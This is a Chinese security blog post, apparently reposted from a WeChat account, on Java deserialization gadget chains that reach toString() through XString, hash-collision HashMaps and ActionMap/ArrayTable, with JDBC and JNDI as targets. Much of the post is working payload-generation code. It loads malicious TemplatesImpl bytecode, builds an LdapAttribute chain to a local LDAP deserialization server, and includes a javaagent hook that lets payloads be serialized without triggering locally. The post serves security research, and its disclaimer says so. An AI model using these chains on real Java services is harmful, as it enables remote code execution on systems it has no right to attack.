最近跟jdbc有关的新知识——toString篇

admin 2025年1月14日21:36:37评论5 views字数 9812阅读32分42秒阅读模式

1,常用toString
jdk17对java安全的影响一文中,我们提到过,后期对于JNDI/反序列化的利用,主要sink点在jdbc,那么这两条链就额外重要。
readObject->toString->getConnection->jdbc
ldap->getObjectInstance->jdbc

其中readObject->toString是现在主力链fastjson/jackson的重要一环,而承担这一重任的BadAttributeValueExpException仅能使用在jdk8-14,也容易在CTF上被过滤,因此一些替代类就出现了。
最知名的是HotSwappableTargetSource+XString的配合,需要spring依赖。
随后是jdk原生支持的EventListenerList/TextAndMnemonicHashMap被发现。
https://xz.aliyun.com/t/14732
这里一部分是从Hessian反序列化上取的经,但由于Hessian对序列化的类不要求实现Serializable,因此只能作为参考。
https://github.com/wh1t3p1g/ysomap/tree/master/core/src/main/java/ysomap/payloads/hessian

2,XString
其中HotSwappableTargetSource+XString值得说道说道,我们都知道一个HashMap如果put进去一个hashcode相同的K,就会触发key.equals(k),而XString.equals(Object)正好可以触发toString。

最近跟jdbc有关的新知识——toString篇

此外,还有个继承了 XString的XStringForFSB可以代替XString。

而之所以用HotSwappableTargetSource封装一层,正是因为这个类实例化的对象hashcode都是一样的。

最近跟jdbc有关的新知识——toString篇

也就是说,这个链的原理其实很简单
hashMap.put(json,1);
hashMap.put(xstring,1);
如果json和xstring的hashcode一样,就会触发XString.equals(json),进而触发json.toString(),最后触发任意getter。
如何保证json和xstring的hashcode一样呢,就是用HotSwappableTargetSource封装一层。

除此之外,还有别的办法吗?再看看XString的hashcode来源。

最近跟jdbc有关的新知识——toString篇

最近跟jdbc有关的新知识——toString篇

其实就是实例化的时候塞进去的String,也就是说XString.hashCode()本质上就是String.hashCode()。
而String的hashcode是可以快速碰撞出来的。
https://paper.seebug.org/199/#hashcode

因此,一个不依赖HotSwappableTargetSource的XString链就应运而生。

        FileInputStream inputFromFile = new FileInputStream("D:\Downloads\workspace\javareadobject\bin\test\"                + "TemplatesImplCalc.class");        byte[] bs = new byte[inputFromFile.available()];        inputFromFile.read(bs);        TemplatesImpl obj = new TemplatesImpl();        Reflections.setFieldValue(obj, "_bytecodes", new byte[][]{bs});        Reflections.setFieldValue(obj, "_name", "TemplatesImpl");        Reflections.setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());        JSONArray jsonArray = new JSONArray();        jsonArray.add(obj);        String  unhash  = unhash(jsonArray.hashCode());        XObject xString = new XString(unhash);        HashMap hashMap = new HashMap();        hashMap.put(jsonArray, "1");        hashMap.put(xString, "2");

在HashMap第二次put的时候,成功RCE。

最近跟jdbc有关的新知识——toString篇

显然在创建序列化payload的时候我们不能这么直接put,否则会先在自己的机器上RCE,因此需要模拟HashMap.put(),用反射将KV塞进去HashMap。具体可以参考CVE-2021-2135在本地触发的改造这篇文章。
也可以用别人更加通用的makeMap写法使用

    public static HashMap makeMap(Object v1, Object v2) throws Exception {        HashMap s = new HashMap();        Reflections.setFieldValue(s, "size", 2);        Class nodeC;        try {            nodeC = Class.forName("java.util.HashMap$Node");        } catch (ClassNotFoundException e) {            nodeC = Class.forName("java.util.HashMap$Entry");        }        Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);        Reflections.setAccessible(nodeCons);        Object tbl = Array.newInstance(nodeC, 2);        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));        Reflections.setFieldValue(s, "table", tbl);        return s;    }

但折腾了一番,最终会发现直接put可以RCE,readObject->putVal的时候却不行,此时将反序列化前后的hashcode都打印出来,很容易发现原因——hashcode变化了。

         FileInputStream inputFromFile = new FileInputStream("D:\Downloads\workspace\javareadobject\bin\test\"                + "TemplatesImplCalc.class");        byte[] bs = new byte[inputFromFile.available()];        inputFromFile.read(bs);        TemplatesImpl obj = new TemplatesImpl();        Reflections.setFieldValue(obj, "_bytecodes", new byte[][]{bs});        Reflections.setFieldValue(obj, "_name", "TemplatesImpl");        Reflections.setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());        JSONArray jsonArray = new JSONArray();        jsonArray.add(obj);        String  unhash  = unhash(jsonArray.hashCode());        XObject xString = new XString(unhash);        HashMap hashMap = new HashMap();        //hashMap.put(jsonArray, "1");        //hashMap.put(xString, "2");        hashMap = makeMap(jsonArray ,xString);        Set keys = hashMap.keySet();        for (Object key :keys) {            System.out.println(key.getClass()+": "+key.hashCode());        }        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("1.ser"));        objectOutputStream.writeObject(hashMap);        objectOutputStream.close();        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("1.ser"));        hashMap = (HashMap) objectInputStream.readObject();        keys = hashMap.keySet();        for (Object key :keys) {            System.out.println(key.getClass()+": "+key.hashCode());        }

最近跟jdbc有关的新知识——toString篇

为什么呢?跟踪JSONArray.hashCode(),容易发现其实就是ArrayList.hashCode(),而List的hashcode显然跟元素挂钩,元素只有TemplatesImpl一个,所以本质上就是TemplatesImpl的hashcode变化了。通过下断点,可以发现前后的TemplatesImpl确实有一些地方不一样。

最近跟jdbc有关的新知识——toString篇

最近跟jdbc有关的新知识——toString篇

然而即使将这些属性都调整成一样的,hashcode还是会发现变化。如果想追踪TemplatesImpl.hashCode()就会发现TemplatesImpl根本没有实现hashCode(),也就是说它用的是Object.hashCode(),而这个在每次实例化的时候都不一样,所以通过new实例化的TemplatesImpl和readObject实例化的TemplatesImpl显然是两个不同的对象,提前通过unhash碰撞出来的Xstring毫无意义。

但知道了原理,所以只要换成其他实现了hashCode()的getter就行。比如com.sun.jndi.ldap.LdapAttribute。

        String url = "ldap://127.0.0.1:1389/deser:fastjson2_7:Y2FsYw==";        String ldap_url = url.substring(0,url.lastIndexOf("/"));        String rdn = url.substring(url.lastIndexOf("/")+1);          System.out.print(ldap_url+"rn");          System.out.print(rdn+"rn");        Constructor<?> ctor = Class.forName("com.sun.jndi.ldap.LdapAttribute").getDeclaredConstructor(new Class<?>[]{String.class});        ctor.setAccessible(true);        Attribute obj = (Attribute) ctor.newInstance("id");        setFieldValue(obj, "baseCtxURL", ldap_url);        setFieldValue(obj, "rdn", new CompositeName(rdn+"//b"));        JSONArray jsonArray = new JSONArray();        jsonArray.add(obj);        String  unhash  = unhash(jsonArray.hashCode());        XObject xString = new XString(unhash);        HashMap hashMap = new HashMap();        //hashMap.put(jsonArray, "1");        //hashMap.put(xString, "2");        hashMap = makeMap(jsonArray ,xString);        Set keys = hashMap.keySet();        for (Object key :keys) {            System.out.println(key.getClass()+": "+key.hashCode());        }        HashMap hashMap2 = new HashMap();        hashMap2.put(obj, hashMap);        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("1.ser"));        objectOutputStream.writeObject(hashMap2);        objectOutputStream.close();        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("1.ser"));        objectInputStream.readObject();

只有少部分的实现了hashCode()的DataSource.getConnection()能用,可以转到jdbc上去,比如c3p0的一些DataSource类,后面会介绍。

3,XString+HashMap
在ROME链中,还有一种使hashcode相等的办法。

        HashMap map1 = new HashMap();        HashMap map2 = new HashMap();        map1.put("yy",equalsBean);        map1.put("zZ",obj);        map2.put("zZ",equalsBean);        map2.put("yy",obj);        System.out.println(map1.hashCode());        System.out.println(map2.hashCode());

这种办法可以无缝套在Xstring上。

        FileInputStream inputFromFile = new FileInputStream("D:\Downloads\workspace\javareadobject\bin\payload\"                + "TemplatesImplCalc.class");        byte[] bs = new byte[inputFromFile.available()];        inputFromFile.read(bs);        TemplatesImpl obj = new TemplatesImpl();        Reflections.setFieldValue(obj, "_bytecodes", new byte[][]{bs});        Reflections.setFieldValue(obj, "_name", "TemplatesImpl");        Reflections.setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());        JSONArray jsonArray = new JSONArray();        jsonArray.add(obj);        XObject xString = new XString("foo");        HashMap<Object, Object> map1 = new HashMap();        HashMap<Object, Object> map2 = new HashMap();        map1.put("yy", jsonArray);        map1.put("zZ", xString);        map2.put("yy", xString);        map2.put("zZ", jsonArray);        // jdk8环境生成jdk7反序列化的payload要换一下顺序//        map1.put("zZ", xString);//        map1.put("yy", jsonArray);//        map2.put("zZ", jsonArray);//        map2.put("yy", xString);        System.out.println(map1.hashCode());        System.out.println(map2.hashCode());        HashMap hashmap = makeMap(map1, map2);          HashMap hashMap2 = new HashMap();        hashMap2.put(obj,hashmap);        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("1.ser"));        objectOutputStream.writeObject(hashMap2);        objectOutputStream.close();        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("1.ser"));        objectInputStream.readObject();

4,XString+ArrayTable
https://xz.aliyun.com/t/15807
这篇文章介绍了ArrayTable.get()可以触发Xstring.equals(),但需要用agent技术修改JComponent.writeObject(),避免在序列化过程在本地触发。
核心思路是ArrayTable在比较key时是直接调用的key.equals()。文章中给了JComponent的反序列化写法和agent代码,这里不再赘述。

文章中还提到了AbstractAction/ActionMap也可以,但AbstractAction实际上不行。
AbstractAction的key强转为String,这意味着key1.equals(key2)只能调String.equals(String)。

最近跟jdbc有关的新知识——toString篇

同理,后来新找到的InputMap也不行。

最近跟jdbc有关的新知识——toString篇

ActionMap则只指定value类型,所以是能用的。

最近跟jdbc有关的新知识——toString篇

ActionMap代码如下。

        FileInputStream inputFromFile = new FileInputStream("D:\Downloads\workspace\javareadobject\bin\test\"                + "TemplatesImplCalc.class");        byte[] bs = new byte[inputFromFile.available()];        inputFromFile.read(bs);        TemplatesImpl obj = new TemplatesImpl();        Reflections.setFieldValue(obj, "_bytecodes", new byte[][]{bs});        Reflections.setFieldValue(obj, "_name", "TemplatesImpl");        Reflections.setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());        JSONArray jsonArray = new JSONArray();        jsonArray.add(obj);        XObject xString = new XString("a");        ActionMap actionMap = new ActionMap();        Class atClass = Class.forName("javax.swing.ArrayTable");        Object arrayTable = Reflections.createWithoutConstructor(atClass);        Action action = new DefaultEditorKit.CopyAction();        action.putValue("foo", "foo");        Object[] table = new Object[]{xString ,action ,jsonArray ,action};        Reflections.setFieldValue(arrayTable, "table", table);        Reflections.setFieldValue(actionMap, "arrayTable", arrayTable);        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("1.ser"));        objectOutputStream.writeObject(actionMap);        objectOutputStream.close();        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("1.ser"));        objectInputStream.readObject();

需要加-javaagent:ArrayTableAgent.jar参数生成序列化数据,hook ArrayTable核心代码如下。可以平替JComponent.writeObject()的hook,兼容性更高。

    public byte[] transform(final ClassLoader loader, final String className, final Class<?> classBeingRedefined, final ProtectionDomain protectionDomain, final byte[] classfileBuffer) {        if (className.equals("javax/swing/ArrayTable")) {            try {                ClassPool classPool = ClassPool.getDefault();                CtClass jClazz;                try {                  jClazz = classPool.get("javax.swing.ArrayTable");            } catch (Exception e) {              System.out.println("cp.get error");              jClazz = classPool.makeClass(new ByteArrayInputStream(classfileBuffer));            }                CtMethod w = jClazz.getDeclaredMethod("writeArrayTable");                String methodBody = "{rn"                    + "        try {rn"                    + "            $1.writeInt(2);rn"                    + "            Class clz = $2.getClass();rn"                    + "            java.lang.reflect.Field field = clz.getDeclaredField("table");rn"                    + "            field.setAccessible(true);rn"                    + "            Object[] table = (Object[]) field.get($2);rn"                    + "            for (int i = 0; i < 4; i++) {rn"                    + "              $1.writeObject(table[i]);rn"                    + "            }rn"                    + "    } catch (Exception e) {rn"                    + "    }"                    + "}";                w.setBody(methodBody);                byte[] byteCode = jClazz.toBytecode();                System.out.println(byteCode);                jClazz.detach();                return byteCode;            } catch (Exception ex) {                ex.printStackTrace();            }        }        return null;    }

原文始发于微信公众号(珂技知识分享):最近跟jdbc有关的新知识——toString篇

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月14日21:36:37
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   最近跟jdbc有关的新知识——toString篇https://cn-sec.com/archives/3628318.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息